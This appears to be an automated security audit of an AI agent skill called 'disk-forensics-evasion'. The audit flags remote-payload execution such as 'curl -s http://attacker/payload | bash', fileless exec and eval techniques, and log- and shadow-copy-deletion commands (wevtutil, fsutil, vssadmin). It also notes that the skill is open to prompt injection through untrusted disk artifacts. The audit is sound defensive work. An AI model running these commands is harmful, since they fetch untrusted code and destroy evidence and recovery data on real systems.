The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill documents techniques for executing remote scripts without saving them to disk, which is a common tactic for evading forensic discovery. Examples include curl -s http://attacker/payload | bash in references/linux-disk-forensics.md.
[DYNAMIC_EXECUTION]: Several methods for runtime code execution are provided, including python3 -c "exec(...)" and perl -e "eval(...)" fetching payloads from untrusted external URLs. Additionally, it describes using memfd_create for memory-only binary execution.
[COMMAND_EXECUTION]: Instructions are provided for using powerful system utilities to delete evidence of malicious activity. This includes wevtutil cl to clear Windows Event Logs in SKILL.md, fsutil usn deletejournal to remove file system logs in references/ntfs-artifacts.md, and vssadmin delete shadows to destroy recovery points in references/ntfs-artifacts.md.
[INDIRECT_PROMPT_INJECTION]: The skill possesses a broad vulnerability surface by ingesting and parsing untrusted data (disk artifacts, MFT entries, logs) while maintaining high-privilege execution capabilities.
Ingestion points: File system metadata and artifact extraction tools such as fls, icat, and MFTECmd.
Capability inventory: Arbitrary shell command execution, file system modification, and network access.
Boundary markers: None implemented to distinguish between artifact data and system instructions.
Sanitization: No validation of artifact content prior to processing.

disk-forensics-evasion